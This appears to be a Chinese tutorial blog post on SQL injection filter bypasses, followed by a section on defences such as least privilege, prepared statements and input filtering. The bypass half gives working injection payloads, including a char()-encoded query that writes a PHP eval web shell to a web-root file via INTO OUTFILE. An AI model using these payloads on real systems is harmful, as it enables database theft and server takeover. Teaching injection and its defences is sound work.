SQL注入防御与绕过

155 阅读3分钟

SQL注入绕过

双写绕过

使用str_replace函数将select、and、or、union等替换成空字符串,因此使用双写的方式,就算str_replace将select、and、or、union等替换后,sql语句还是可以正常执行。

?id=-211001 uniunionon select 1,2,3,4,5 --+
?id=211001 anandd 1=1 --+
?id=211001 oorr 1=1 --+
?id=211001 oselectr 1=1 --+

大小写绕过

使用str_replace函数将select、and、or、union等替换成空字符串,因此使用大小写的方式,就算str_replace将select、and、or、union等替换后,sql语句还是可以正常执行。大小写绕过不适合使用正则过滤。

?id=-211001 UnIoN SeLeCt 1,2,3,4,5 --+
?id=211001 AnD 1=1 --+
?id=211001 Or 1=1 --+

空格绕过

将所有空格全部替换。所以需要使用空格绕过的方式。

Tab制表符绕过

可以将空格换成Tab制表符来绕过空格的替换

?id=-211001    UnIoN    SeLeCt    1,2,3,4,5    --

MySQL注释符号绕过

?id=-211001/**/UnIoN/**/SeLeCt/**/1,2,3,4,5/**/--

/**/ 如果不自动URL转码需要手动转码

编码绕过

在sql注入时,可能会出现一些关键字被程序员或是waf进行拦截,特别是一些eval,assert、php、get、post这样的关键字或者’。此时可以使用编码绕过的方式

十六进制或则其他编码代替字符串

使用mysql的char函数代替字符串

1' or 1=1 union select 1,2,concat(char(34),char(60),char(63),char(112),char(104),char(112),char(32),char(64),char(101),char(118),char(97),char(108),char(40),char(36),char(95),char(80),char(79),char(83),char(84),char(91),char(39),char(99),char(109),char(100),char(39),char(93),char(41),char(63),char(62),char(34)) into outfile "/opt/lampp/htdocs/fanyun/fanyun7.php" -- -

比较符号绕过

?id=211001 and database() like '%n%'
?id=211001 and database() like '%news%'
?id=211001 and database() rlike '%news%'

and / or / not / xor

and  => &&
or   => ||
not  => !
xor  => |
浏览器地址栏提交可能不会直接识别以上符号,需要转成URL编码

常用函数绕过

1 hex()、bin() = ascii()
2 sleep() = benchmark()
3 concat_ws() = group_concat()
4 mid()、substr() = substring()
5 @@user = user()
6 @@datadir = datadir()

SQL注入的防御

控制访问权限

普通用户与系统管理员用户的权限要有严格的区分,限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害。

控制最小信息返回

避免直接向用户显示数据库错误,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断。

预编译,强迫使用参数化语句

预编译(PreparedStatement),如果在编写SQL语句的时候,用户输入的变量不是直接嵌入到SQL语句。而是通过参数来传递这个变量的话,那么就可以有效的防治SQL注入式攻击。

加强对用户输入的验证

对用户输入的特殊字符进行严格过滤,如’、”、<、>、/、*、;、+、-、&、|、(、)、and、or、select、union、drop、delete

数据库自带的安全参数

在数据库设计过程中,工程师要尽量采用这些参数来杜绝恶意的SQL注入式攻击。比如尽量不要开放外网的权限,不要设置文件可以任意上传。

多层环境验证

在多层应用环境中,用户输入的所有数据都应该在验证之后才能被允许进入到可信区域。未通过验证过程的数据应被数据库拒绝,并向上一层返回一个错误信息。实现多层验证。对无目的的恶意用户采取的预防措施,对坚定的攻击者可能无效。